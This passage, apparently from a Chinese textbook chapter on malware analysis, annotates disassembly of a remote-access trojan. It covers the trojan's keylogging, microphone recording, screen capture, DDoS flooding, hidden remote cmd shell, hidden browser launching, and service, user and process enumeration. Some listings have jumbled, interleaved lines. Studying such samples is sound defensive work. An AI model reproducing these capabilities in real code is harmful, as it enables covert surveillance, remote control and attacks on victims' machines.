.text:10013B6B push eax ; dwInstance
.text:10013B6C lea edx, [esp+24h+pwfx]  
.text:10013B70 push ecx ; dwCallback
.text:10013B71 push edx ; pwfx
.text:10013B72 lea eax, [esi+18h]  
.text:10013B75 push 0FFFFFFFFh ; uDeviceID
.text:10013B77 push eax ; phwi
.text:10013B78 call edi ; waveInOpen ; 注册音频回调函数
.text:10013DFC push eax ; hwi
.text:10013DFD call ds:waveInStart ; 开始录音
如代码清单 16-7 所示,该病毒收到主控端的 DDOS 攻击命令,会开启一个线程循环向指定服务器发送攻击数据包。
代码清单16-7  DDOS攻击代码片段
DllDdosOpen函数实现代码:
.text:10007F5D push 0 ; lpThreadId
.text:10007F5F push 0 ; dwCreationFlags
.text:10007F61 push 0 ; lpParameter
.text:10007F63 push offset sendto_proc ; lpStartAddress
.text:10007F68 push 0 ; dwStackSize
.text:10007F6A push 0 ; lpThreadAttributes
.text:10007F6C call edi ; CreateThread ; 创建发送DDOS攻击数据的线程
.text:10007A51 push 0FFh ; namelen
.text:10007A56 lea eax, [ebp+name]  
.text:10007A5C push eax ; name
.text:10007A5D call ds:gethostname ; 获取攻击的服务器地址
 


.text:10007E49 lea ecx, [ebp+buf] 
.text:10007E4F push ecx ; buf
.text:10007E50 mov edx, [ebp+s] 
.text:10007E53 push edx ; s
.text:10007E54 call ds:sendto ; 循环发送数据到指定攻击服务器

如代码清单 16-8 所示,该病毒使用 GetLogicalDriveStrings 获取当前所有驱动器根路径的剩余空间。

DllFile函数实现代码:

代码清单16-8 查看磁盘目录代码片段

代码语言:javascript
复制
.text:10009E4F push eax ; lpBuffer
.text:10009E50 mov [esp+790h+var_768], ecx
.text:10009E54 push 100h ; nBufferLength
.text:10009E59 mov [esp+794h+Src], 67h
.text:10009E61 call ds:GetLogicalDriveStringsA ; 获取当前所有根驱动器路径
.text:10009EAC lea ecx, [esp+798h+FileSystemNameBuffer]
.text:10009EB0 push ecx ; lpFileSystemNameBuffer
.text:10009EB1 push edx ; lpFileSystemFlags
.text:10009EB2 push edx ; lpMaximumComponentLength
.text:10009EB3 push edx ; lpVolumeSerialNumber
.text:10009EB4 push edx ; nVolumeNameSize
.text:10009EB5 push edx ; lpVolumeNameBuffer
.text:10009EB6 push ebp ; lpRootPathName
.text:10009EB7 call ds:GetVolumeInformationA ; 获取磁盘卷信息
.text:10009F09 lea edx, [esp+794h+TotalNumberOfBytes]
.text:10009F0D push 0 ; lpTotalNumberOfFreeBytes
.text:10009F0F lea eax, [esp+798h+FreeBytesAvailableToCaller]
.text:10009F13 push edx ; lpTotalNumberOfBytes
.text:10009F14 push eax ; lpFreeBytesAvailableToCaller
.text:10009F15 push ebp ; lpDirectoryName
.text:10009F16 call ds:GetDiskFreeSpaceExA ; 获取磁盘剩余空间
.text:10009F55 push ebp ; lpRootPathName
.text:10009F56 mov [esp+ebx+798h+Src], cl
.text:10009F5D call ds:GetDriveTypeA ; 获取磁盘类型

如代码清单 16-9 所示,该病毒创建了一个线程,在线程中循环使用 GetKeyState、 GetAsyncKeyState API 循环遍历所有键盘的虚拟键状态,如果状态为按下,就将按键信息保存到文件中。

DllKeybo函数实现代码:

代码清单16-9 键盘记录代码片段

代码语言:javascript
复制
.text:1000B1C1 xor ebp, ebp ; 键盘表索引
.text:1000B1C3 push 10h ; nVirtKey
.text:1000B1C5 call ebx ; GetKeyState ; 获取键盘虚拟键Shift的状态
.text:1000B1C7 mov esi, ss:VK_TABLE_0[ebp] ; 循环从表中获取虚拟键
.text:1000B1CD push esi ; 参数1:vKey
.text:1000B1CE movsx edi, ax
.text:1000B1D1 call ds:GetAsyncKeyState ; 循环获取键盘虚拟键的状态
.text:1000B1D7 test ah, 80h
.text:1000B1DA jz short loc_1000B24F
 


.text:1000B1DC push 14h ; 参数1:nVirtKey
.text:1000B1DE call ebx ; GetKeyState ; 获取虚拟键VK_CAPITAL的状态,检查键盘大写灯
.text:1000B1E0 test ax, ax 
.text:1000B1E3 jz short loc_1000B204 
.text:1000B1E5
.text:1000B204 cmp
push edi, 0FFFFFFFFh
14h 
; 参数1:nVirtKey
.text:1000B206 call ebx ; GetKeyState ; 获取虚拟键VK_CAPITAL的状态,检查键盘大写灯
.text:1000B208 test ax, ax
.text:1000B20B jz short loc_1000B22B
.text:1000B292 lea ecx, [esp+668h+keyboard_buf]
.text:1000B296 push ecx ; 参数1:记录键盘数据的缓冲区
.text:1000B297 call write_keyboard_file ; 保存记录的键盘按键数据到文件中

如代码清单 16-10 所示,该病毒通过注册表路径 HKEY_CLASSES_ROOT\Applications\ iexplore.exe\shell\open\command 获取浏览器的路径,最后通过 CreateProcessA 创建浏览器进程,打开主控端传递的指定 url 地址。

代码清单16-10 打开网页码片段

DllOpenURLHIDE函数实现代码:

代码语言:javascript
复制
.text:10008A4D lea eax, [esp+1B0h+phkResult] 
.text:10008A51 lea ecx, [esp+1B0h+SubKey] 
.text:10008A55 push eax ; phkResult
.text:10008A56 push 20019h ; samDesired
.text:10008A5B push 0 ; ulOptions
.text:10008A5D mov dl, 78h 
.text:10008A5F push ecx ; lpSubKey
.text:10008A60 push 80000000h ; hKey
.text:10008A65 mov [esp+1C4h+SubKey], 'A' 
.text:10008A6A mov [esp+1C4h+var_18D], 'l' 
.text:10008A6F mov [esp+1C4h+var_18C], 'i' 
.text:10008A74 mov [esp+1C4h+var_18B], 'c' 
.text:10008A79 mov [esp+1C4h+var_18A], 'a' 
.text:10008A7E mov [esp+1C4h+var_189], 't' 
.text:10008A83 mov [esp+1C4h+var_188], 'i' 
.text:10008A88 mov [esp+1C4h+var_186], 'n' 
.text:10008A8D mov [esp+1C4h+var_185], 's' 
.text:10008A92 mov [esp+1C4h+var_184], '\' 
.text:10008A97 mov [esp+1C4h+var_183], 'i' 
.text:10008A9C mov [esp+1C4h+var_182], bl 
.text:10008AA0 mov [esp+1C4h+var_181], dl 
.text:10008AA4 mov [esp+1C4h+var_17F], 'l' 
.text:10008AA9 mov [esp+1C4h+var_17D], 'r' 
.text:10008AAE mov [esp+1C4h+var_17C], bl 
.text:10008AB2 mov [esp+1C4h+var_17B], '.' 
.text:10008AB7 mov [esp+1C4h+var_17A], bl 
.text:10008ABB mov [esp+1C4h+var_179], dl 
.text:10008ABF mov [esp+1C4h+var_178], bl 
.text:10008AC3 mov [esp+1C4h+var_177], '\' 
.text:10008AC8 mov [esp+1C4h+var_176], 's' 
.text:10008ACD mov [esp+1C4h+var_175], 'h' 
.text:10008AD2 mov [esp+1C4h+var_174], bl 
.text:10008AD6 mov [esp+1C4h+var_173], 'l' 
.text:10008ADB mov [esp+1C4h+var_172], 'l' 
 


.text:10008AE0 mov [esp+1C4h+var_171], '\'
.text:10008AE5 mov [esp+1C4h+var_16E], bl
.text:10008AE9 mov [esp+1C4h+var_16D], 'n'
.text:10008AEE mov [esp+1C4h+var_16C], '\'
.text:10008AF3 mov [esp+1C4h+var_16B], 'c'
.text:10008AF8 mov [esp+1C4h+var_167], 'a'
.text:10008AFD mov [esp+1C4h+var_166], 'n'
.text:10008B02 mov [esp+1C4h+var_165], 'd'
.text:10008B07 mov [esp+1C4h+var_164], 0
.text:10008B0C mov [esp+1C4h+cbData], 104h
.text:10008B14 call ds:RegOpenKeyExA
; 打开注册表HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command
.text:10008B1A test eax, eax
.text:10008B1C jnz loc_10008C2F
.text:10008B22 mov ecx, [esp+1B0h+phkResult]
.text:10008B26 lea edx, [esp+1B0h+cbData]
.text:10008B2A lea eax, [esp+1B0h+Data]
.text:10008B31 push edx ; lpcbData
.text:10008B32 push eax ; lpData
.text:10008B33 push 0 ; lpSubKey
.text:10008B35 push ecx ; hKey
.text:10008B36 call ds:RegQueryValueA
; 查询注册表HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command,获取浏览器路径
.text:10008B3C mov edx, [esp+1B0h+phkResult]
.text:10008B40 push edx ; hKey
.text:10008B41 call ds:RegCloseKey ; 关闭注册表
.text:10008B47 lea eax, [esp+1B0h+Data]
.text:10008B4E push eax ; lpString
.text:10008B4F call ds:lstrlenA ; 获取浏览器路径长度
.text:10008B55 test eax, eax
.text:10008B57 jz loc_10008C2F
.text:10008B5D lea ecx, [esp+1B0h+SubStr]
.text:10008B61 lea edx, [esp+1B0h+Data]
.text:10008B68 push ecx ; SubStr
.text:10008B69 push edx ; Str
.text:10008B6A mov [esp+1B8h+SubStr], '%'
.text:10008B6F mov [esp+1B8h+var_1A3], '1'
.text:10008B74 mov [esp+1B8h+var_1A2], 0
.text:10008B79 call ds:strstr ; 获取浏览器路径%1的位置
.text:10008B7F add esp, 8
.text:10008B82 test eax, eax
.text:10008B84 jz loc_10008C2F
.text:10008B8A push esi ; lpString2
.text:10008B8B push eax ; lpString1
.text:10008B8C call ds:lstrcpyA; 将%1字符串替换为服务器传递的URL地址,当作命令行参数
.text:10008B92 mov ecx, 10h
.text:10008B97 xor eax, eax
.text:10008B99 lea edi, [esp+1B0h+StartupInfo.lpReserved]
.text:10008B9D mov [esp+1B0h+var_1A0], 57h
.text:10008BA2 rep stosd
.text:10008BA4 mov eax, 44h
.text:10008BA9 mov [esp+1B0h+var_19F], 'i'
.text:10008BAE mov [esp+1B0h+StartupInfo.cb], eax
.text:10008BB2 mov [esp+1B0h+var_198], al
.text:10008BB6 mov eax, [esp+1B0h+hide] ; 获取参数隐藏窗口标志
 


.text:10008BBD mov [esp+1B0h+var_19E], 'n'
.text:10008BC2 test eax, eax ; 检查是否隐藏创建浏览器进程
.text:10008BC4 mov [esp+1B0h+var_19D], 'S'
.text:10008BC9 mov [esp+1B0h+var_19C], 't'
.text:10008BCE mov [esp+1B0h+var_19B], 'a'
.text:10008BD3 mov [esp+1B0h+var_19A], '0'
.text:10008BD8 mov [esp+1B0h+var_199], '\'
.text:10008BDD mov [esp+1B0h+var_197], bl
.text:10008BE1 mov [esp+1B0h+var_196], 'f'
.text:10008BE6 mov [esp+1B0h+var_195], 'a'
.text:10008BEB mov [esp+1B0h+var_194], 'u'
.text:10008BF0 mov [esp+1B0h+var_193], 'l'
.text:10008BF5 mov [esp+1B0h+var_192], 't'
.text:10008BFA mov [esp+1B0h+var_191], 0
.text:10008BFF jz short loc_10008C09 
.text:10008C01 lea eax, [esp+1B0h+var_1A0]
.text:10008C05 mov [esp+1B0h+StartupInfo.lpDesktop], eax ; 隐藏
.text:10008C09 lea ecx, [esp+1B0h+ProcessInformation]
.text:10008C0D lea edx, [esp+1B0h+StartupInfo]
.text:10008C11 push ecx ; lpProcessInformation
.text:10008C12 push edx ; lpStartupInfo
.text:10008C13 push 0 ; lpCurrentDirectory
.text:10008C15 push 0 ; lpEnvironment
.text:10008C17 push 0 ; dwCreationFlags
.text:10008C19 push 0 ; bInheritHandles
.text:10008C1B push 0 ; lpThreadAttributes
.text:10008C1D lea eax, [esp+1CCh+Data]
.text:10008C24 push 0 ; lpProcessAttributes
.text:10008C26 push eax ; lpCommandLine
.text:10008C27 push 0 ; lpApplicationName
.text:10008C29 call ds:CreateProcessA ; 创建浏览器进程
.text:10008C2F pop edi
.text:10008C30 pop esi
.text:10008C31 xor al, al
.text:10008C33 pop ebx
.text:10008C34 add esp, 1A4h
.text:10008C3A retn 

如代码清单 16-11 所示,该病毒通过 GetDesktopWindow 获取桌面的 HDC,再通过 CreateDIBSection 获取桌面的像素信息。
代码清单16-11  屏幕查看代码片段
DllScreen函数实现代码:
.text:1000D888 call ds:GetDesktopWindow ; 获取桌面窗口句柄
.text:1000D88E push eax ; hWnd
.text:1000D88F
.text:1000D895 mov
call [esi+10Ch], eax
ds:GetDC 
; 获取桌面HDC
.text:1000D89B mov [esi+44h], eax 
.text:1000D8C9 push ebx ; nIndex,SM_CXSCREEN
.text:1000D8CA mov [esi+14h], ecx 
.text:1000D8CD mov [esi+18h], dl 
.text:1000D8D0
.text:1000D8D3 mov
call [esi+24h], eax
edi ; GetSystemMetrics 
; 获取屏幕宽度
.text:1000D8D5 push 1 ; nIndex,SM_CYSCREEN
 


.text:1000D8D7
.text:1000D8DA mov
call [esi+4], eax
edi ; GetSystemMetrics 
; 获取屏幕高度
.text:1000D96D push ebx ; usage
.text:1000D96E push eax ; lpbmi
.text:1000D96F push ecx ; HDC
.text:1000D970 call edi ; CreateDIBSection ; 获取桌面像素信息并截图

服务管理代码分析如代码清单 16-12 所示。

代码清单16-12 服务管理代码片段 DllSerMa函数实现代码:

代码语言:javascript
复制
.text:1000E7E3 push 0F003Fh ; dwDesiredAccess
.text:1000E7E8 push ebp ; lpDatabaseName
.text:1000E7E9 push ebp ; lpMachineName
.text:1000E7EA call ds:OpenSCManagerA ; 打开服务管理器
.text:1000E7F0 mov edi, ds:LocalAlloc
.text:1000E7F6 mov esi, eax
.text:1000E7F8 push 10000h ; uBytes
.text:1000E7FD push 40h ; uFlags
.text:1000E7FF mov [esp+338h+var_30C], esi
.text:1000E803 call edi ; LocalAlloc ; 申请内存
.text:1000E805 mov ebx, eax
.text:1000E807 lea eax, [esp+330h+ResumeHandle]
.text:1000E80B lea ecx, [esp+330h+ServicesReturned]
.text:1000E80F push eax ; lpResumeHandle
.text:1000E810 lea edx, [esp+334h+pcbBytesNeeded]
.text:1000E814 push ecx ; lpServicesReturned
.text:1000E815 push edx ; pcbBytesNeeded
.text:1000E816 push 10000h ; cbBufSize
.text:1000E81B push ebx ; lpServices
.text:1000E81C push 3 ; dwServiceState
.text:1000E81E push 30h ; dwServiceType
.text:1000E820 push esi ; hSCManager
.text:1000E821 call ds:EnumServicesStatusA ; 遍历所有服务
.text:1000E827 push 104h ; uBytes
.text:1000E82C push 40h ; uFlags
.text:1000E82E call edi ; LocalAlloc
.text:1000E830 mov edi, eax
.text:1000E832 mov [esp+330h+uBytes], 1
.text:1000E83A mov [esp+330h+hMem], edi
.text:1000E83E mov [esp+330h+var_318], ebp
.text:1000E842 mov byte ptr [edi], 6Fh
.text:1000E845 mov eax, [esp+330h+ServicesReturned]
.text:1000E849 cmp eax, ebp
.text:1000E84B jbe loc_1000EB2C
.text:1000E851 mov ebp, ds:lstrlenA
.text:1000E857 mov eax, [ebx] ; 循环开始
.text:1000E859 push 0F01FFh ; dwDesiredAccess
.text:1000E85E push eax ; lpServiceName
.text:1000E85F push esi ; hSCManager
.text:1000E860 mov [esp+33Ch+var_308], 0
.text:1000E868 call ds:OpenServiceA ; 打开服务
.text:1000E86E mov edi, eax
.text:1000E870 test edi, edi
 


.text:1000E872 jz loc_1000EB0E 
.text:1000E878 push 1000h ; uBytes
.text:1000E87D push 40h ; uFlags
.text:1000E87F call ds:LocalAlloc 
.text:1000E885 lea ecx, [esp+330h+var_308] 
.text:1000E889 mov esi, eax 
.text:1000E88B push ecx ; pcbBytesNeeded
.text:1000E88C push 1000h ; cbBufSize
.text:1000E891 push esi ; lpServiceConfig
.text:1000E892 push edi ; hService
.text:1000E893 call ds:QueryServiceConfigA ; 查询服务设置
.text:1000E899 mov eax, [ebx+0Ch] ; ServiceStatus.dwCurrentState,用于获取服
务的当前状态
.text:1000E89C mov ecx, 40h
.text:1000E8A1 cmp eax, 1
.text:1000E8A4 jz short loc_1000E8C0 ; 检查服务器是否启动状态
.text:1000E8A6 xor eax, eax
.text:1000E8A8 lea edi, [esp+330h+String1]
.text:1000E8AF lea edx, [esp+330h+String1]
.text:1000E8B6 push offset asc_10088D50 ; "启动"
.text:1000E8BB rep stosd
.text:1000E8BD push edx
.text:1000E8BE jmp short loc_1000E8D8 ; 拼接字符串“启动”或者“停止”
.text:1000E8C0 xor eax, eax
.text:1000E8C2 lea edi, [esp+330h+String1]
.text:1000E8C9 rep stosd
.text:1000E8CB lea eax, [esp+330h+String1]
.text:1000E8D2 push offset asc_10088D48 ; lpString2
.text:1000E8D7 push eax ; lpString1
.text:1000E8D8 call ds:lstrcatA ; 拼接字符串“启动”或者“停止”
.text:1000E8DE cmp dword ptr [esi+4], 2
.text:1000E8E2 jnz short loc_1000E901 ; dwStartType==2, 检查获取服务启
; 动类型是否自动
.text:1000E8E4 mov ecx, 40h
.text:1000E8E9 xor eax, eax
.text:1000E8EB lea edi, [esp+330h+var_300]
.text:1000E8EF push offset asc_10088D40 ; lpString2
.text:1000E8F4 rep stosd
.text:1000E8F6 lea ecx, [esp+334h+var_300]
.text:1000E8FA push ecx ; lpString1
.text:1000E8FB call ds:lstrcatA ; 拼接字符串"自动"
.text:1000E901 cmp dword ptr [esi+4], 3
.text:1000E905 jnz short loc_1000E924 ;dwStartType==3, 检查获取服务启
;动类型是否为手动
.text:1000E907 mov ecx, 40h 
.text:1000E90C xor eax, eax 
.text:1000E90E lea edi, [esp+330h+var_300] 
.text:1000E912 lea edx, [esp+330h+var_300] 
.text:1000E916 push offset asc_10088D38 ; lpString2
.text:1000E91B push edx ; lpString1
.text:1000E91C
.text:1000E91E rep stosd
call ds:lstrcatA 
; 拼接字符串"手动"
.text:1000E924 cmp dword ptr [esi+4], 4 ;dwStartType==4, 检查获取服务启
; 动类型是否为禁用
.text:1000E928 jnz short loc_1000E947 
 


.text:1000E92A mov ecx, 40h
.text:1000E92F xor eax, eax
.text:1000E931 lea edi, [esp+330h+var_300]
.text:1000E935 push offset asc_10088D30 ; lpString2
.text:1000E93A rep stosd
.text:1000E93C lea eax, [esp+334h+var_300]
.text:1000E940 push eax ; lpString1
.text:1000E941 call ds:lstrcatA ; 拼接字符串"禁用"
.text:1000E947
.text:1000EB20 jb loc_1000E857 ; 循环结束
.text:1000EB26 mov edi, [esp+330h+hMem]
.text:1000EB2A xor ebp, ebp
.text:1000EB2C push esi ; hSCObject
.text:1000EB2D call ds:CloseServiceHandle ; 关闭服务管理器

如代码清单 16-13 所示,该病毒通过 NetUserEnum 遍历所有系统用户信息。服务器管理代码分析如代码清单 16-13 所示。

代码清单16-13 服务器管理代码片段 DllSerSt函数实现代码:

代码语言:javascript
复制
.text:100129B8 lea eax, [esp+24h+resume_handle] ; 循环开始
.text:100129BC lea ecx, [esp+24h+totalentries]  
.text:100129C0 push eax ; resume_handle
.text:100129C1 lea edx, [esp+28h+entriesread]  
.text:100129C5 push ecx ; totalentries
.text:100129C6 push edx ; entriesread
.text:100129C7 lea eax, [esp+30h+bufptr]  
.text:100129CB push 0FFFFFFFFh ; prefmaxlen
.text:100129CD push eax ; bufptr
.text:100129CE push 2 ; filter
.text:100129D0 push ebx ; level
.text:100129D1 push ebx ; servername
.text:100129D2 call NetUserEnum ; 遍历所有系统用户信息
.text:100129D7 cmp eax, ebx  
.text:100129D9 mov [esp+24h+NET_API_STATUS], eax
.text:100129DD jz short loc_100129E6
.text:100129DF cmp eax, 234 ; ERROR_MORE_DATA
.text:100129E4 jnz short loc_10012A29 ; 检查
.text:10012A06 push 50h ; MaxCount
.text:10012A08 push ecx ; Source
.text:10012A09 push eax ; Dest
.text:10012A0A inc ebp  
.text:10012A0B
.text:10012A0E add
call esi, 32h
ds:wcstombs 
; 
宽字符字符串转换为多字节字符串
.text:10012A41 cmp eax, 234 ; ERROR_MORE_DATA
.text:10012A46 jz loc_100129B8 ; 循环开始
.text:10012A4C cmp edi, ebx ; 循环结束
.text:10012A4E jz short loc_10012A56  
.text:10012A50 push edi ; Buffer
.text:10012A51 call NetApiBufferFree ; 释放缓冲区
如代码清单 16-14 所示,该病毒通过使用管道通信实现远程 CMD 并且隐藏 cmd.exe 进程的窗口。

DllShell函数实现代码:

代码清单16-14 远程CMD命令代码片段

代码语言:javascript
复制
.text:10010CFD lea ecx, [esp+188h+att]
.text:10010D01 lea ebx, [ebp+120h]
.text:10010D07 push edx ; nSize
.text:10010D08 lea edi, [ebp+114h]
.text:10010D0E lea esi, [ebp+11Ch]
.text:10010D14 push ecx ; lpPipeAttributes
.text:10010D15 push ebx ; hWritePipe
.text:10010D16 push edi ; hReadPipe
.text:10010D49 call ds:CreatePipe ; 创建标准输出管道
.text:10010D74 lea edx, [esp+188h+att]
.text:10010D78 push 0 ; nSize
.text:10010D7A lea edi, [ebp+118h]
.text:10010D80 push edx ; lpPipeAttributes
.text:10010D81 push edi ; hWritePipe
.text:10010D82 push esi ; hReadPipe
.text:10010D83 call ds:CreatePipe ; 创建标准输入管道
.text:10010DDA mov [esp+188h+StartupInfo.hStdError], eax
.text:10010DDE mov [esp+188h+StartupInfo.hStdOutput], eax ; 设置标准输出管道
.text:10010DE2 lea eax, [esp+188h+Buffer]
.text:10010DE6 push 104h ; uSize
.text:10010DEB push eax ; lpBuffer
.text:10010DEC mov [esp+190h+StartupInfo.cb], 44h
.text:10010DF4 mov [esp+190h+StartupInfo.wShowWindow], 0; SW_HIDE,隐藏CMD窗口
.text:10010DFB mov [esp+190h+StartupInfo.dwFlags], 101h
.text:10010E03 mov [esp+190h+StartupInfo.hStdInput], edx ; 设置标准输入管道
.text:10010E07 call ds:GetSystemDirectoryA ; 获取系统目录
.text:10010E0D mov edi, offset aCmdExe ; 拼接CMD的路径:"\\cmd.exe"
.text:10010E40 lea ecx, [esp+18Ch+StartupInfo]
.text:10010E44 lea edx, [esp+18Ch+Buffer]
.text:10010E48 push ecx ; lpStartupInfo
.text:10010E49 push 0 ; lpCurrentDirectory
.text:10010E4B push 0 ; lpEnvironment
.text:10010E4D push 20h ; dwCreationFlags
.text:10010E4F push 1 ; bInheritHandles
.text:10010E51 push 0 ; lpThreadAttributes
.text:10010E53 push 0 ; lpProcessAttributes
.text:10010E55 push 0 ; lpCommandLine
.text:10010E57 push edx ; lpApplicationName
.text:10010E58 call ds:CreateProcessA ; 创建cmd.exe进程

.text:1001109A mov eax, [esp+418h+BytesRead]; 循环开始
.text:1001109E test eax, eax
.text:100110A0 jbe short loc_1001106F
.text:100110A2 mov ecx, 100h
.text:100110A7 xor eax, eax
.text:100110A9 lea edi, [esp+418h+Buffer]
.text:100110AD rep stosd
.text:100110AF mov ecx, [esp+418h+TotalBytesAvail]
.text:100110B3 push ecx ; uBytes
.text:100110B4 push 40h ; uFlags
.text:100110B6 call ds:LocalAlloc ; 申请空间
.text:100110BC mov ecx, [ebx+114h]
.text:100110C2 mov esi, eax
 


.text:100110C4 mov eax, [esp+418h+TotalBytesAvail]
.text:100110C8 lea edx, [esp+418h+BytesRead]
.text:100110CC push 0 ; lpOverlapped
.text:100110CE push edx ; lpNumberOfBytesRead
.text:100110CF push eax ; nNumberOfBytesToRead
.text:100110D0 push esi ; lpBuffer
.text:100110D1 push ecx ; hFile
.text:100110D2 call ds:ReadFile ; 读取管道数据,获取CMD命令执行结果
.text:100110D8 mov ecx, ebx
.text:100110DA mov edx, [esp+418h+BytesRead]
.text:100110DE push edx ; Size
.text:100110DF push esi ; Src
.text:100110E0 call send_data ; 发送数据
.text:100110E5 push esi ; hMem
.text:100110E6 call ds:LocalFree ; 释放空间
.text:100110EC lea eax, [esp+418h+TotalBytesAvail]
.text:100110F0 push 0 ; lpBytesLeftThisMessage
.text:100110F2 lea ecx, [esp+41Ch+BytesRead]
.text:100110F6 push eax ; lpTotalBytesAvail
.text:100110F7 mov eax, [ebx+114h]
.text:100110FD push ecx ; lpBytesRead
.text:100110FE lea edx, [esp+424h+Buffer]
.text:10011102 push 400h ; nBufferSize
.text:10011107 push edx ; lpBuffer
.text:10011108 push eax ; hNamedPipe
.text:10011109 call ebp ; PeekNamedPipe ; 检测管道数据
.text:1001110B test eax, eax
.text:1001110D jnz short loc_1001109A ; 跳转到循环开始
.text:1001110F jmp loc_1001106F ; 循环结束

如代码清单 16-15 所示,该病毒通过进程快照检测是否存在一个指定的进程。

代码清单16-15 检查进程代码片段 DllSortProcessl函数实现代码:

代码语言:javascript
复制
.text:10008C40 sub esp, 128h
.text:10008C46 push ebx
.text:10008C47 push ebp
.text:10008C48 push esi ; unsigned  int8 *
.text:10008C49 push edi
.text:10008C4A push 0 ; th32ProcessID
.text:10008C4C push 2 ; dwFlags
.text:10008C4E call CreateToolhelp32Snapshot ; 创建进程快照
.text:10008CA7 pop edi
.text:10008CA8 pop esi
.text:10008CA9 pop ebp
.text:10008CAA mov eax, 1 ; 设置返回值为TRUE
.text:10008CAF pop ebx
.text:10008CB0 add esp, 128h
.text:10008CB6
.text:10008CD2 retn
lea 
eax, [esp+138h+pe.szExeFile] ; 循环开始
.text:10008CD6 push eax ; unsigned  int8 *
.text:10008CD7 call edi ; mbslwr进程名称转换小写
.text:10008CD9 push esi ; unsigned  int8 *
.text:10008CDA call edi ; mbslwr目标进程名称转换小写
.text:10008CDC lea ecx, [esp+140h+pe.szExeFile]
 


.text:10008CE0 push esi ; SubStr
.text:10008CE1 push ecx ; Str
.text:10008CE2 call ebx ; strstr检查目标进程名称是否存在
.text:10008CE4 add esp, 10h  
.text:10008CE7
.text:10008CE9 test
jnz eax, eax
short loc_10008CA7 
; 
检查是否为目标进程
.text:10008CEB lea edx, [esp+138h+pe]  
.text:10008CEF push edx ; lppe
.text:10008CF0 push ebp ; hSnapshot
.text:10008CF1 call Process32Next ; 遍历下一个进程
.text:10008CF6
.text:10008CF8 test
jnz eax, eax
short loc_10008CD2 
; 
循环开始
.text:10008CFA push ebp ; 循环结束
.text:10008CFB call ds:CloseHandle ; 关闭快照
.text:10008D01 pop edi  
.text:10008D02 pop esi  
.text:10008D03
.text:10008D04 pop
xor ebp
eax, eax 
; 
设置返回值为FALSE
.text:10008D06 pop ebx  
.text:10008D07 add esp, 128h  
.text:10008D0D retn   

如代码清单 16-16 所示,该病毒通过 EnumWindows 遍历所有窗口,检查指定的窗口是否存在。

代码清单16-16 检查窗口代码片段 DllSortWindow函数实现代码:

代码语言:javascript
复制
.text:100097A0 push esi 
.text:100097A1 push edi 
.text:100097A2 mov edi, [esp+8+arg_1C] 
.text:100097A6 or ecx, 0FFFFFFFFh 
.text:100097A9 xor eax, eax 
.text:100097AB push 0 ; lParam
.text:100097AD repne scasb ; 复制参数,窗口名称
.text:100097AF not ecx 
.text:100097B1
.text:100097B3 sub
push edi, ecx
offset EnumFunc 
; lpEnumFunc,窗口回调函数
.text:100097B8 mov eax, ecx 
.text:100097BA mov esi, edi 
.text:100097BC mov edi, offset g_wnd_name
.text:100097C1 shr ecx, 2
.text:100097C4 rep movsd
.text:100097C6 mov ecx, eax
.text:100097C8 and ecx, 3
.text:100097CB rep movsb ; 复制主控端传递的窗口名称到g_wnd_name
.text:100097CD call ds:EnumWindows ; 遍历窗口
.text:100097D3 mov ecx, g_wnd_flag
.text:100097D9 xor eax, eax
.text:100097DB test ecx, ecx
.text:100097DD pop edi
.text:100097DE pop esi
.text:100097DF setnz al ; 通过g_wnd_flag返回指定窗口是否存在
.text:100097E2 retn 
 


EnumFunc函数实现代码:
.text:10008D10 sub esp, 100h 
.text:10008D16 push esi 
.text:10008D17 push edi 
.text:10008D18 push offset LibFileName ; "user32.dll"
.text:10008D1D call ds:LoadLibraryA ; 动态加载user32.dll
.text:10008D23 mov esi, eax 
.text:10008D25 push offset ProcName ; "GetWindowTextA"
.text:10008D2A push esi ; hModule
.text:10008D2B call ds:GetProcAddress ; 获取GetWindowTextA函数地址
.text:10008D31 mov edx, eax 
.text:10008D33 mov ecx, 3Fh 
.text:10008D38 xor eax, eax 
.text:10008D3A lea edi, [esp+108h+var_FF]
.text:10008D3E mov [esp+108h+wnd_name], 0
.text:10008D43 push 254 ; 参数3:缓冲区大小
.text:10008D48 rep stosd
.text:10008D4A mov ecx, [esp+10Ch+arg_0]
.text:10008D51 stosb 
.text:10008D52 lea eax, [esp+10Ch+wnd_name]
.text:10008D56 push eax ; 参数2:缓冲区地址
.text:10008D57 push ecx ; 参数1:窗口句柄
.text:10008D58 call edx ; 调用GetWindowTextA,获取窗口名称
.text:10008D5A lea edx, [esp+108h+wnd_name]
.text:10008D5E push offset g_wnd_name ; unsigned  int8 *
.text:10008D63 push edx ; unsigned  int8 *
.text:10008D64 call ds:_mbsstr
.text:10008D6A add esp, 8
.text:10008D6D test eax, eax
.text:10008D6F jz short loc_10008D7B ; 检查窗口名称是否存在
.text:10008D71 mov g_wnd_flag, 1 ; 设置是否存在标志
.text:10008D7B test esi, esi
.text:10008D7D jz short loc_10008D86
.text:10008D7F push esi ; hLibModule
.text:10008D80 call ds:FreeLibrary ; 释放动态库
.text:10008D86 pop edi
.text:10008D87 mov eax, 1
.text:10008D8C pop esi
.text:10008D8D add esp, 100h
.text:10008D93 retn 8

如代码清单 16-17 所示,该病毒通过进程快照遍历进程,通过 EnumProcessModules 函数获取进程的所有模块信息。

代码清单16-17 进程、窗口管理代码片段 DllSyste函数实现代码:

代码语言:javascript
复制
.text:10011602 push 1 ; int
.text:10011604 push offset Name ; "SeDebugPrivilege"
.text:10011609 mov [esp+24Ch+hModule], esi 
.text:1001160D
.text:1001160E stosb
call 
adjust_token 
; 调用函数调整令牌权限
.text:10011613 add esp, 8 
.text:10011616 push esi ; th32ProcessID
.text:10011617 push 2 ; dwFlags
 


.text:10011619 call CreateToolhelp32Snapshot ; 创建进程快照
.text:10011669 mov ecx, [esp+24Ch+pe.th32ProcessID] ; 循环开始
.text:1001166D push ecx ; dwProcessId
.text:1001166E push 0 ; bInheritHandle
.text:10011670 push 410h ; dwDesiredAccess
.text:10011675 call ds:OpenProcess ; 打开进程
.text:1001167B mov esi, eax  
.text:1001167D mov eax, [esp+24Ch+pe.th32ProcessID]  
.text:10011681 test eax, eax  
.text:10011683 mov [esp+24Ch+var_238], esi  
.text:10011687
.text:1001168D jz
cmp loc_10011774
eax, 4 
; 
忽略pid为4的进程
.text:10011690
.text:10011696 jz
cmp loc_10011774
eax, 8 
; 
忽略pid为8的进程
.text:10011699 jz loc_10011774  
.text:1001169F lea edx, [esp+24Ch+cbNeeded]  
.text:100116A3 lea eax, [esp+24Ch+hModule]  
.text:100116A7 push edx ; lpcbNeeded
